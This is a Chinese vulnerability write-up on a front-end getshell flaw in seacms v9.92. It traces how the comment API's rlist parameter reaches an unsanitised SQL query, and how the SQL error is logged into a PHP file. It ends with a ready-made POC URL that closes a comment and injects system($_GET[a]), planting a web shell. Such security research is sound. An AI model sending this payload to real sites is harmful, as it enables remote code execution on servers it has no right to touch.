seacmsv9.92 前台Getshell
2024-10-14 08:32:30

漏洞分析

位置:/comment/api/index.php
carbon -1-

首先在第三行引入了common.php文件
include/common.phpLine98~118
carbon
在这里对GET、POST、Cookie传入的参数进行注册
这里对后面漏洞的触发很重要吗,接着向下进行
carbon -2-

第19行进入了ReadData函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function ReadData($id,$page)
{

global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}

global $type,$pCount,$rlist;这些参数都是通过前面提到过的注册而来的变量
重点在于$rlist

1
2
3
4
5
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}

$list数组转换为字符串,接着进入到了Readrlist函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}

可以看到拼接入sql语句并执行了 AND id in ($ids)
接下来看下Execute函数
位置include/sql.class.php Line224~257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//执行一个带返回结果的SQL语句,如SELECT,SHOW等
function Execute($id="me", $sql='')
{
global $dsql;
self::$i++;
if($dsql->isClose)
{
$this->Open(false);
$dsql->isClose = false;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}

//SQL语句安全检查
if($this->safeCheck)
{
CheckSql($this->queryString);
}

$t1 = ExecTime();

$this->result[$id] = mysqli_query($this->linkID,$this->queryString);
//查询性能测试
//$queryTime = ExecTime() - $t1;
//if($queryTime > 0.05) {
//echo $this->queryString."--{$queryTime}<hr />\r\n";
//}

if($this->result[$id]===false)
{
$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}

重点在于255行的DisplayError函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function DisplayError($msg)
{
$errorTrackFile = dirname(__FILE__).'/../data/mysqli_error_trace.php';
//if( file_exists(dirname(__FILE__).'/../data/mysqli_error_trace.php') )
//{
// @unlink(dirname(__FILE__).'/../data/mysqli_error_trace.php');
//}
$emsg = '';
$emsg .= "<div><h3>seacms Error Warning!</h3>\r\n";
$emsg .= "<div><a href='http://www.seacms.net/
' target='_blank' style='color:red'>Technical Support: http://www.seacms.net/</a></div>";
$emsg .= "<div style='line-helght:160%;font-size:14px;color:green'>\r\n";
$emsg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n";
$emsg .= "<div>Error infos: {$msg}</div>\r\n";
$emsg .= "<br /></div></div>\r\n";

echo $emsg;


$savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
//保存MySql错误日志
$fp = @fopen($errorTrackFile, 'a');
@fwrite($fp, "\r\n<?php /*\r\n {$savemsg} \r\n*/ ?>\r\n\r\n");
@fclose($fp);
}

这个函数首先输出了提示错误的html代码,之后将mysql的错误日志保存在了data/mysqli_error_trace.php

1
2
3
4
$savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
//保存MySql错误日志
$fp = @fopen($errorTrackFile, 'a');
@fwrite($fp, "\r\n<?php /*\r\n {$savemsg} \r\n*/ ?>\r\n\r\n");

这里就触发了漏洞

POC

这个漏洞的触发执行需要满足以下条件

  1. $page>2
  2. $rlist不可为空
  3. 触发sql错误
  4. 闭合文件中的注释

poc:/comment/api/index.php?type=1&gid=1&page=3&ran=123&rlist[]=123%27*/system($_GET[a]);/*



打开data/mysqli_error_trace.php